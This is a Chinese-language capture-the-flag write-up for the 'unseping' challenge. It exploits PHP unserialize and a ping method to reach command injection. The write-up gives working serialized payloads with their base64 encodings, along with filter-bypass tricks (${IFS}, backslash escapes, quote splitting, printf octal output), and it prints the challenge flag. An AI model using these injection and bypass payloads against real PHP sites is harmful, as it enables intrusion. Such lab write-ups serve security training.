攻防世界: unseping

攻防世界: unseping

本文知识点:

  1. ${IFS}能够在空格被过滤的时候使用
  2. 查看文件内容的命令除了cat,还有moreless
  3. printf命令能够打印八进制的数据,比如通过"\57"打印/,来规避检查
  4. 有些字符能够通过前面添加转义符\来规避检查,例如phpph\p
  5. 可以在字符串中添加双引号来规避检查,如flagf""lag

代码中的魔术方法的含义:

  • __construct:构造函数,对象构造的时候自动调用

  • __destruct: 析构函数,释放对象,销毁的时候自动调用

  • __wakeup: 这个函数是反序列化的时候自动调用

从代码的整体含义来看,我们需要传递一个名为ctf的参数给到后端,然后后端会按照base64的解码方式将数据解码出来。

  1. 在析构函数中我们可以看到,他会将我们传递的参数的方法通过call_user_func_array调用执行。

  2. 因此我们可以考虑传入ease这个类的自身的方法ping,用这个函数来执行我们想要的代码。

    • 因此我们可以确定我们传入的序列化后的对象的method的值为ping
  3. 接下来是args变量的值,一个很简单的想法就是cat flag

    • base64编码前代码:

      O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:8:"cat flag";}}

    • base64编码后:

      Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6ODoiY2F0IGZsYWciO319

可以看到,服务器返回的结果,监测到我们的意图了。如下图:


为什么呢?这就是前面提到的反序列化函数__wakeup造成的结果,我们传递的参数经过反写劣化函数unserialize会自动调用对象的__wakeup方法,这个方法会调用waf函数将我们传递的参数进行过滤。因此我们需要用特殊的方法绕过这个过滤。

  • 这个很容易让我想到题目unserialize3 中的跳过__wakeup函数的执行,通过增加属性的数量来规避自动调用,但是经过查询这个版本的PHP没有这个漏洞。
  • 因此我们只能通过其他方法来避免上述的过滤。

绕过检查

  1. 查看当前有哪些文件,通过下面的序列化对象绕过

    O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:3:"l\s";}}

    对应的base64编码

    Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6MzoibFxzIjt9fQ==

    结果如下:

  2. 其实这里的flag_1s_here是一个目录,并不能通过cat查看。但是我们可以查看这个目录下的内容,使用转义字符 和**${IFS}代替空格**绕过检查,其对象如下:

    O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:22:"l\s${IFS}f\lag_1s_here";}}

    编码结果:

    Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6MjI6ImxccyR7SUZTfWZcbGFnXzFzX2hlcmUiO319

    返回结果:

  3. 查看flag_831b69012c67b35f.php内容,为了绕过\的检查,使用printf${IFS}"\57",其序列化对象如下:

    O:4:"ease":2:{s:6:"method";s:4:"ping";s:4:"args";a:1:{i:0;s:70:"more${IFS}f\lag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.ph\p";}}

    编码结果:

    Tzo0OiJlYXNlIjoyOntzOjY6Im1ldGhvZCI7czo0OiJwaW5nIjtzOjQ6ImFyZ3MiO2E6MTp7aTowO3M6NzA6Im1vcmUke0lGU31mXGxhZ18xc19oZXJlJChwcmludGYke0lGU30iXDU3IilmbFxhZ184MzFiNjkwMTJjNjdiMzVmLnBoXHAiO319

最后结果:cyberpeace{74e55251a34e1cdd704c46e7c20dfa8d}

相关推荐
三8442 小时前
SSRF 打内网 Redis:gopher 原理与实操
redis·web安全·bootstrap·ssrf
醉颜凉2 小时前
网络安全必学:粘性MAC地址(Sticky MAC)原理与应用全解析
运维·服务器·网络·安全·web安全
DK185838322522 小时前
【源码开源部署】电竞代练护航陪玩小程序:全游戏服务平台完整解决方案(附宝塔部署教程)
游戏·微信小程序·uni-app·开源·php
广州灵眸科技有限公司4 小时前
从手动三步到上电即连:4G模组systemd开机自连方案
linux·运维·服务器·开发语言·网络·人工智能·php
aixingpan4 小时前
aixingpan.cn API开发文档:api_docs_trichart_natal_composite_transit2接口指南
前端·php
妙码生花4 小时前
使用git更新ai-go-admin框架
前端·人工智能·git·golang·typescript·php
宁之明起(B服)5 小时前
vulhub靶场(log4shell)
web安全
PHP实战开发录5 小时前
PHP文件上传成功为什么页面却找不到
开发语言·nginx·php·开发
qq_452396235 小时前
第十篇:《eBPF 可观测性:零侵扰的深度内核追踪》
服务器·网络·php
迪康Defender6 小时前
政企内网终端安全建设:资产‑管控‑防护‑审计闭环能力拆解
运维·网络·安全·web安全·终端安全管理